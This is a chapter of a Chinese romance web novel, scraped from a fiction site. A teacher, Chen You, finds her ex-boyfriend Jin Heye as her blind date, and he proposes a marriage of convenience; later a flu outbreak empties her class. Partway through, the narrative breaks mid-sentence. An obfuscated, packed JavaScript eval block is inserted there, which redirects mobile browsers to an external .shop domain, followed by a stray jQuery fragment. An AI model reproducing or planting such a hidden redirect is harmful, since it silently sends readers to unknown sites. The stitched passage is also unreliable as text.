文趣网 > 其他小说 > 夏末余温[破镜重圆] > 17. 第十七章
    深夜食堂离得近,其实步行过去也就一刻钟的时间。但即将步入十二月的夜晚,冷风嗖嗖往脖子里灌。

    虽然已知对方是个奇葩,陈由也还是要注意自己的形象。

    总不能被冻得鼻涕横流地和别人吃饭。

    这家店是近两年来南淮排得上名号的夜宵店,餐食优惠,食材新鲜。

    是陈由一直想去,但无奈被工作绊住脚一直没去成的店。

    定在这儿也好。

    至少是自己爱吃的店。

    至少食材是自己拿的,用不着对方点,也不怕那个神人品味差。

    开车比走路要多一段调头的路程,出奇地在即将到达的那个红绿灯口堵住。

    晚上前横街灯火通明,仿佛是另外一个世界。

    除了夜宵店,还有许多摊贩也在路边摆夜宵摊。

    被堵的那几分钟里,陈由已经看到两波食客提着夜宵走人了。

    约定在十点,想着提早出门却还是迟到了。

    陈由进店报了桌号,上菜的服务员没空给她带位,只抬手指了一下大致方向。

    “靠窗边从这儿数第二桌就是。”

    顺着服务员的手看过去,看身形和衣品,背影是个帅哥。

    也可能一直有健身的习惯,头肩比很和谐。

    昏暗灯光下,男人穿着黑色衬衫,袖口卷起到小臂,露出的手表不知道是什么牌子,但看气质不像是陈教授的学生。

    陈由一直不觉得自己是以貌取人的人,但要是相亲对象长得好看,起码会让她有点食欲。

    要是相亲对象不是从相亲补习班毕业的,起码买卖不成仁义在,也可以交个朋友。

    “谢谢。”

    陈由和服务员道谢后往A8走。

    坐下,刚扬起个合适的笑容打算打声招呼,一抬头,险些没挂住。

    脑子里飞快地把陈教授说的合得来的条件纷纷对照了一遍,除了外貌,没有一个相符。

    不是说不喜欢吗?

    现在这算怎么回事?

    来捣乱?

    陈由甚至在某一刻怀疑自己走错了桌,又或者是走错了店。

    不然怎么会看到应该坐她相亲对象的地方,坐了个靳禾也!

    “诶!上菜咯!”

    吆喝声打断了两人大眼瞪小眼的沉默,等餐点全都摆好,陈由看了眼。

    倒都是她爱吃的菜。

    “你好。”

    “?”

    陈由抬头看向对面刻意打扮过的男人,等待他的下文。

    “我是靳禾也。”

    “你那个没死透的初恋。”

    ……

    不知道是不是陈由的错觉,热闹的餐厅好像在他尾音落下的瞬间安静下来,甚至周围还多了几道热烈的目光。

    有仇的初恋变成相亲对象,陈由都分不清是寻仇还是解困。

    被对面盯了半晌,她才慢慢点头当做回应。

    她现在需要相亲补习班了。

    能不能来个人告诉她,相亲相到前任该怎么办。

    可反观她的局促,对面的靳禾也明显要坦然得多,慢条斯理地夹起一块鱼肉,往自己餐盘里放。

    吃相这点,他倒是从小到大都很斯文。

    但她不可能因为他吃相好就跟他相亲啊!

    斟酌再三,陈由觉得这气氛不能再这么尴尬,“靳禾也,我们——”

    话被对面递来的餐碟打断,里面盛着他刚挑好刺的鱼肉。

    捏住边缘的指甲修剪得圆滑,指骨修长。

    陈由吃不来鱼,却很爱吃鱼。

    卡过一两次鱼刺之后,靳禾也就揽下了给她挑刺的活。

    再之后,大概也是习惯。

    没有靳禾也在的场合,她一般不碰带刺的鱼肉。

    “手酸了。”

    “……”

    她被迫接过,刚要抬头,对面那人又开口发力:“有男友了还出来相亲?”

    陈由不解,但顺着男人的目光,看到了自己无名指的戒指。

    瞬间抬手捂住。

    差点忘记这茬。

    还好靳禾也没认出来这是什么戒指。

    半晌,陈由把手缩到桌底把戒指摘掉,清了清嗓:“因为不合适,分手了。”

    “行,果然是简单一句话揭过所有问题。”

    “什么……”

    靳禾也这人说话云里雾里就是他的毛病,从前天天相处,久了陈由也能猜出他话里的意思。现在过去这么多年,想要猜透29岁靳禾也的心思变得异常困难。

    这头陈由还没想通,那头瓷盘轻轻扣动的响声又打断她的思考。

    靳禾也:“为什么上次跟那个男的相亲在临礼,这次跟我就在这儿?”

    “……不是我定的,而且我也不知道是你。”

    “知道是我会去哪儿?”

    陈由低下头不想理他。

    知道是他,这相亲压根儿就不会答应!

    谁会和对自己有恨意的前任相亲,她又不是想不开!

    直到餐碟里的鱼肉吃完,靳禾也都没再开口说什么让人误会的话。

    这很好,当年分手没能见上的面也见上了,从临礼那晚之后整人的事也做了。

    也算是给当年那段对他有愧的感情,画上了个句号。

    那次钥匙事件,梁晴后来问她现在对靳禾也是什么感觉。

    愧疚有,不舍有。

    但陈由仔细想了想,他们分开了八年。再浓的爱也早就被时间冲淡,剩下的,大概只是她对过去的留恋。

    现在的靳禾也是什么性格她不得而知,于她而言,是一个和过去分割的全新的人。

    仅仅只是占着学长和前任的名头而已。

    陈由擦了擦嘴,“今天这顿我请你,之后就当做没来过吧。”

    靳禾也没说话,应该也是默认了她的话。

    和前任单独吃饭这事儿陈由实在做不出来,于是拿上钥匙和小票就就打算起身去付钱,却在错身而过时手腕被扣住。

    “陈由,跟我结婚吧。”

    陈由错愕回头,和靳禾也撞上视线。

    试图从他眼底找到哪怕一丝笑意,可惜没有。

    他很认真地看着她,很认真地又重复了一遍。

    “陈由,我们结婚。”

    在一起时,她无数次幻想过两人的以后。

    幻想靳禾也这样的人会给她什么样的求婚仪式,两人会在什么样的地方结婚,会在哪里亲吻。

    山河湖海,中国各地,她都曾幻想过。

    可唯独没有深夜食堂。

    陈由沉默了很久,直到感受到扣着手腕的掌心似乎都有些微湿,她才开口拒绝。

    “不管是作为学生家长还是前任,我们都应该保持距离。”

    “你不是想要结婚?你我起码知根知底。”

    靳禾也没刻意降低音量,甚至因为店里过于吵闹,还故意提高了分贝。

    陈由不想再次成为人群里的焦点,甩掉了腕上的手,坐回位置。

    “我是结婚,不是过家家。”

    “我知道。”靳禾也推了推鼻梁上的眼镜框,“我的家庭情况你清楚,我也需要一个结婚对象,不是跟你过家家。”

    “你不想别人缠着你,正好,我也不希望别人缠着我。”

    “陈老师放心,我们这算互惠互利。”

    这句的言外之意陈由倒是听出来了。

    不爱吃回头草,所以婚后不会有任何感情交互,也不会履行夫妻义务。

    但——

    前任回头,必有缘由。

    不是报恩,就是报仇。

    恩,没有。

    仇,断崖式分手倒算得上一份。

    陈由没回答,对面那人却自以为是她默许的意思,开始自顾自介绍自己的情况。

    听到空窗期九年,她抬头看了他一眼。

    等人介绍完,陈由没着急答应:“我只是为了让奶奶放心。”

    “所以?”

    陈由避开眼镜后的那双眼睛,“所以奶奶做完手术,病情稳定之后,我会选择离婚。”

    靳禾也冷笑一声:“离婚、分手,不是都说一回生二回熟?怎么这会儿下不去手了?”

    ……

    陈由忽略他言语里的挑衅:“所以我需要一个……”

    “不缠着你又为你所用,我是最好的人选。”

    如此不加掩饰地情绪外泄,这是第一次。

    陈由有点意外,但仍然纠结。

    靳禾也大概是看出了她的犹豫,把刚剔好刺的鱼肉和手机推到她面前:“微信加上,其他的不着急,你慢慢考虑。”

    “不加还能吃鱼肉吗?”

    “……”

    靳禾也看着她那张无辜的脸差点气笑,“不能!”

    微信到底还是加回去了。

    这顿饭在陈由反复纠结中结束。

    到家后梁晴问她筛盅开大还是开小,陈由回复有人出老千,赌局暂停。

    要说一整晚的收获是什么,大概是桌上的鱼肉一大半都进了她的肚子。

    陈由重新正视两人的关系。

    抛开前任关系不说,他俩需求吻合,确实很相配。

    但结婚后又离婚,对于靳禾也来说,好比是被同一个人抛弃两次。

    尽管知道他可能不在乎,陈由还是过意不去。

    深夜辗转难眠,摸到手机。

    陈由在网上开了个问答帖:初恋是最合适的结婚人选,但我们是不欢而散的,现在他求婚,我要答应吗?

    帖子发出,并没有得到多少流量。

    两小时后才弹出一条。

    momo:身、心,是哪种合适啊?身的话确实难找,要是契合在一起也不亏,至少保住了下半辈子□□。

    ……

    陈由瞬间把手机关掉,丢回床头。

    被子盖到鼻尖,耳根隐隐发烫。

    心,现在两人肯定不在一起。

    身……

    不可否认。

    他俩在床上,确实很有默契。

    后半夜迷迷糊糊睡过去,一觉醒来问答帖

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732419|208688||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    也没有什么水花。

    来了群吃瓜捣乱的,没有一条有用处的主意。

    果然还是不该寄希望于网友。

    —

    不过这件事也没困扰陈由很久。

    转眼十二月初,班主任例会和组会一开,按理说课程进度就正式步入学期后半段,在学期末要统一上交的工作台账和各种资料都要提前准备起来。

    但例会结束后不久,学校突然爆发了一场大规模病毒性感冒。

    一周过去,半个班级的学生都纷纷中招。

    这会儿陈由无暇分心去思考别的事。

    每天到校的第一件事,变成了给请假的同学做访问做登记。

    班里同学的课得正常上,作业布置也不能落下。

    生病的同学康复后还要再过48小时才能返校,学习进度无法对齐,临近期末,作业难布置,卷子不好出。

    更容易影响成绩。

    “我不行了,一班今天估计又得请两个。家长天天问我他孩子的学习怎么办,我也想问呢!又不是我不让他来上课。”

    一班班主任自己也病倒,现在由童韵代管。

    上周请假同学就超过了6个,童韵早已在崩溃边缘。

    陈由举起手机,“我们班今天只剩11个。”

    童韵:“不是说过半就停课吗?”

    “停不了,领导刚新发了通知,人数少的同年级学生并班上课。”

    光他们办公室的老师就倒了两个,张秋莹还□□着,但精神状态不算好,估计离生病也就一步之遥。

    校方通知下达后,隔天才开始实行。

    陈由看着底下熟悉面孔越来越少,心里没由来得慌张。

    想说点什么也没办法,只能一一叮嘱学生把口罩戴好。

    直到周三,连活蹦乱跳的林翊瑄也请假了,这次请假是靳禾也发微信来的。

    凌晨两点的图片,温度计上显示39.2。

    陈由醒来看到消息,叹了口气。

    真是越不想接触他的时候,越要在眼前晃悠。

    【陈由】:好,照顾他的时候记得戴好口罩。

    【靳禾也】:要结婚吗?

    【陈由】:……不。

    【靳禾也】:那别关心我。

    随口一句话都得当阅读理解写。

    陈由暗骂了他一句神经病,没再理他。

    开车到学校后,连停车场都只剩下稀疏几辆车。

    之前一起上下班的搭子,多半都请假了。

    “陈老师早啊。”

    陈由回头,看到陆泽雨戴着口罩站在远处。朝他走过去但没走近,严格遵守保持一米社交距离。

    “早。”

    陆泽雨无奈:“我没病毒。”

    陈由提不起精神:“我怕我是携带者。”

    陆泽雨:“你们班有复课的没?”

    陈由摇摇头:“没,反倒还越来越少了。现在一班二班加起来才22个人。”

    陆泽雨叹了口气:“这个期末也太难熬了,当年好歹全体停工停学,现在不尴不尬的,都不知道该怎么给请假学生补课。”

    “补课?”

    陈由撇撇嘴,“你不怕被家长投诉啊?”

    陆泽雨:“……”

    两人对视一眼,叹了口气往教学楼走。

    这回病毒来势汹汹,新闻都没能说出个所以然来,网络上铺天盖地的消息都是今天哪个学校停课,明天哪个班级请假人数过半。

    真假难辨的消息搞得人心惶惶,陈由还得在上课之余分心去哄在群里发视频链接的家长。

    话赶话说到最后,无非还是担心孩子的学习进度跟不上,会影响成绩。

    家长的担心陈由也懂,要说学习和成绩,家校一定是站在同一战线的战友关系。

    但怎么赶上学习进度,突然从家长的担忧变成了老师的难题。

    自从开展小学生减负之后,补课基本和老师无缘。

    好不容易把今天的课上完,午休时陈由将睡未睡之际脑子里突然蹦出个想法。

    既然学生减负,老师就得增压。

    她自诩不是个多勤奋的老师,但给学生上课毕竟还是在工作范畴内。

    为了不辜负家里两位教授给她做的榜样,这天放学她没和童韵一起下班,反倒趁着夜色遛进班里。

    打开灯,生疏地支起手机。

    没有了学生的积极响应固然无味,但讲课也更加顺利。

    仿佛回到了教资面试现场。

    录了条将近一小时的视频。

    晚上八点,陈由喝了口泡好的胖大海,把剪辑好的视频发到302班的钉钉群里。

    视频以这节课的课文名称命名。

    想起靳禾也不在群里,为了林翊瑄的学习,陈由还是给他单独发了一份。

    半晌,等陈由洗漱好准备写教案时,手机响了响。

    【J】:?

    【陈由】:有什么问题吗?

    【J】:时间过去太久业务有点生疏了,请问我是该直接喊你老师吗?